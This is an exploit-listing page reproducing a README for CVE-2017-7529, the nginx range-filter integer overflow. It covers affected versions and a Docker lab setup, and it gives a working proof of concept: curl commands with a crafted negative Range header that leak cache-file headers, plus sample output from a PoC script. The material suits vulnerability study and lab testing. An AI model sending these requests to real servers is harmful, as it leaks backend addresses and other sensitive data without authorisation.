Sploitus

Exploit for Integer Overflow or Wraparound in F5 Nginx

CVE-2017-7529

githubexploit ¡ 2017-07-19

Exploit Code

README82 lines
## https://sploitus.com/exploit?id=5457532E-8BB5-5BBF-971F-DB91DBEEDE89
## Nginx Integer Overflow Vulnerability CVE-2017-7529

### Vulnerability Information

When using the nginx standard module, attackers can obtain information from the cache file headers by sending header requests with maliciously constructed `range` fields. In some configurations, the cache file headers may contain the IP address of the backend server or other sensitive information, leading to information leakage. Refer to: [【Vulnerability Analysis】Nginx Range Filter Formatting Overflow Vulnerability (CVE–2017–7529) Early Warning Analysis](http://bobao.360.cn/learning/detail/4102.html)

### Affected Versions

This vulnerability affects Nginx modules with default configurations in versions 0.5.6 to 1.13.2. Malicious requests can be sent to gain remote access and cause information leakage. When Nginx servers use proxy caching, attackers can exploit this vulnerability to obtain the real IP address of the backend server or other sensitive information. Based on our analysis, this vulnerability is easy to exploit and can be considered a “low-hanging fruit” vulnerability. It still has some value in actual network attacks.

#### Affected Versions

Nginx version 0.5.6 – 1.13.2

#### Fixed Versions

Nginx version 1.13.3, 1.12.1

### Environment Requirements:

1. Pull the image to local machine:

   ```
   $ docker pull medicean/vulapps:n_nginx_1
   ```

2. Start the environment:

   ```
   $ docker run -d -p 8000:80 medicean/vulapps:n_nginx_1
   ```

   `-p 8000:80`: The number 8000 represents the physical port; it can be specified as desired.

### Usage and Exploitation

#### POC

1. Access the cache file and retrieve `Content-Length`. Take `/proxy/demo.png` as an example:

   ```
   $ curl -I http://127.0.0.1:8000/proxy/demo.png

   HTTP/1.1 200 OK
   Server: nginx/1.13.1
   Date: Wed, 12 Jul 2017 15:57:57 GMT
   Content-Type: image/png
   Content-Length: 16585
   Connection: keep-alive
   Last-Modified: Wed, 12 Jul 2017 15:57:57 GMT
   ETag: W/"40c9-5543e4fad0d40"
   X-Proxy-Cache:: MISS
   Accept-Ranges: bytes
   ```

   See `Content-Length: 16585`. Find a value larger than this number, such as 17208. The second `range` value is 0x8000000000000000-17208, which is 9223372036854758600.

2. Set the `range` when making the request:

   ```
   $ curl -i http://127.0.0.1:8000/proxy/demo.png -r -17208,-9223372036854758600
   ```

   Result:

   ![](https://example.com/poc.png)

#### POC Script

```
$ python poc.py http://127.0.0.1:8000/proxy/demo.png

Vulnerable: http://127.0.0.1:8000/proxy/demo.png
```

### Reference Links

* [【Vulnerability Analysis】Nginx Range Filter Formatting Overflow Vulnerability (CVE–2017–7529) Early Warning Analysis](http://bobao.360.cn/learning/detail/4102.html)
* [CVE-2017-7529 Nginx Integer Overflow Vulnerability Analysis](http://galaxylab.org/cve-2017-7529-nginx%E6%95%B4%E6%95%B0%E6BA%A2%E5%87%BA%E6BC%8F%E6B4%9E/)

[source-iocs-preserved url=http://galaxylab.org/cve-2017-7529-nginx%E6%95%B4%E6%95%B0%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/]